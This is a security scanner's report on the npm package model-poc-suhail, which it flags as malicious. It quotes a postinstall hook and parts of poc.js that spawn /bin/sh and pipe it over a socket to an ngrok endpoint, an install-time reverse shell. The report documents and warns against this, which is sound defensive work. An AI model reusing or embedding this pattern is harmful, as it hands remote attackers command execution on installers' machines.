registry / Remote code execution / model-poc-suhail
model-poc-suhail
Benign PoC for sandbox execution testing
This report shows the evidence for model-poc-suhail@1.0.12. 6 of 7 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiDirect inspection confirms concrete install-time remote shell access, not merely a suspicious primitive. This is malicious behavior with no user action required beyond installing the package.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm installation invokes the postinstall script.
Impact
A remote operator can execute commands with the installing user's privileges.
Mechanism
postinstall reverse shell over a TCP socket
Attack narrative
The manifest invokes poc.js automatically after installation. That file spawns /bin/sh, opens a TCP connection to 0.tcp.in.ngrok.io:19775, and pipes the shell's standard input, output, and error streams through the connection, creating an install-time reverse shell.
AI rationale
Direct inspection confirms concrete install-time remote shell access, not merely a suspicious primitive. This is malicious behavior with no user action required beyond installing the package.
Evidence
package.jsonpoc.js/bin/sh
Network endpoints1
0.tcp.in.ngrok.io:19775
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- postinstall executes poc.js during installation.
- poc.js spawns /bin/sh and connects it to a remote socket.
- The remote endpoint is 0.tcp.in.ngrok.io:19775.
Evidence against
- No additional package files or dependencies were present.
Behavioral surface
ChildProcess
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node poc.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"scripts": {
"postinstall": "node poc.js"
}
High
Suspicious Lifecycle Evidence
postinstall executes poc.js during installation.
package.jsonView on unpkg · L5poc.jsView file
1(function(){
L2: var net = require("net"),
L3: cp = require("child_process"),
L4: sh = cp.spawn("/bin/sh", []);
L5: var client = new net.Socket();
...
L7: client.pipe(sh.stdin);
L8: sh.stdout.pipe(client);
L9: sh.stderr.pipe(client);
Critical
Findings
2 Critical4 High1 Medium1 Low
CriticalReverse Shellpoc.js
CriticalTrigger Reachable Dangerous Capabilitypoc.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processpoc.js
HighKnown Malware Source Fingerprint Signaturepoc.js
HighSuspicious Lifecycle Evidencepackage.json
MediumStructural Risk Force Deep Review
LowScripts Present
Affected versions and remediation
This report applies to model-poc-suhail@1.0.12.
The versions list below shows the verdict for each recorded version.
- Avoid installing model-poc-suhail@1.0.12. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.